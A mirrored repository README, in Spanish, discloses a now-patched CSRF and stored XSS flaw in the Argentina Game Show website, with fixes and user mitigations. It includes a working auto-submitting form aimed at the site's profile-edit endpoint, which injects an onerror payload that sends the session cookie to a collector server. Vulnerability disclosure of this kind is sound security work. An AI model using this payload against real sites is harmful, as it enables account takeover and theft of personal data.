Giter Club home page Giter Club logo

ags-csrf-xss-poc's Introduction

Update

La vulnerabilidad fue resuelta, pusieron SameSite en Lax.

AGS-CSRF-XSS POC

La pagina de la AGS es vulnerable a CSRF y XSS, haciendo que un atacante pueda conseguir acceso total a la cuenta de alguien convenciendolo de que abra un link malicioso. La info que puede conseguir es la siguiente: nombre completo, email, fecha de nacimiento, dni, entradas al evento y hash MD5 de la contraseña que se puede llegar a crackear.

Intenté reportarles el problema pero decidieron ignorarlo porque su "entendimiento básico de cyberseguridad es no abrir links randoms". Lo que es verdad pero no suficiente, es irrespondable de la parte de ellos dejar a sus usuarios expuestos, en mi opinion.

Tabla de contenidos

Vulnerabilidad

El form para cambiar la información del usuario (/mis-datos) no tiene protección contra CSRF, la cookie PHPSSESSID tiene el flag SameSite en None por lo que se agrega automaticamente al hacer el submit sin hacer ningun chequeo del origen.

Uno puede desde otra pagina web, hacer un form con los datos que quiere cambiar y hacer que se envíe solo, el usuario no se dará cuenta que está cambiando su información. Al hacer el cambio, el usuario es redirigido a una pagina donde se muestran los nuevos datos.

El servidor no sanitiza correctamente los datos que se le envian, y la forma en la los muestra es vulnerable a XSS, se puede inyectar codigo en cualquiera de los campos. (filtra algunos caracteres pero no de forma correcta)

Este es el codigo que se puede usar para explotarlo:

<body>
    <form name="myForm" id="myForm" method="POST" style="display: none;" action="https://app.argentinagameshow.com/ajax/table_edit.php?notab=1&tid=22&ftid=&rid=&sdb=0&id=&tab=undefined">
        <!-- redirige a nuestro servidor con las cookies en la url -->
        <input type="text" name="22_98" value="<img src='' onerror=window.location.href=`http://localhost:8888/info?${document.cookie}`>">
        <input type="text" name="action" value="edit">
        <input type="submit" value="Submit">
    </form>

    <script>
        document.getElementById("myForm").submit();
    </script>
</body>

Fix

Hay dos formas de solucionar este problema, la primera es agregar un token CSRF al form que esté linkeado con la sesion o el usuario, y verificar que el token sea correcto del lado del servidor antes de hacer el cambio.

La segunda es agregar el flag SameSite a la cookie PHPSSESSID, y ponerlo en Lax o Strict, esto hará que el navegador no envie la cookie al servidor si el origen no es el mismo que el del servidor.

Este post de Porswigger explica mas en detalle como solucionar problemas relaciondos a CSRF, que ventajas y desventajas tiene cada una de las soluciones.

Mitigación

Mientras los de AGS no arreglen este problema, forma de mitigar este problema que tenemos por ahora es cerrar sesion en la pagina de la AGS y usar unicamente la APP de telefono. La app corre en un navegador propio y los demas navegadores no tienen acceso a sus cookies. Y no hacer click en links que no sean de confianza.

POC

Este repo tiene incluido un POC, para correrlo tienen que tener instalado node y typescript. instalan las dependencias con npm i y lo ejecutan con npm run dev. Cuando entren a http://localhost:8888 se va a redirigir un par de veces y les va a mostrar la info de su cuenta.

ags-csrf-xss-poc's People

Contributors

crivasr avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.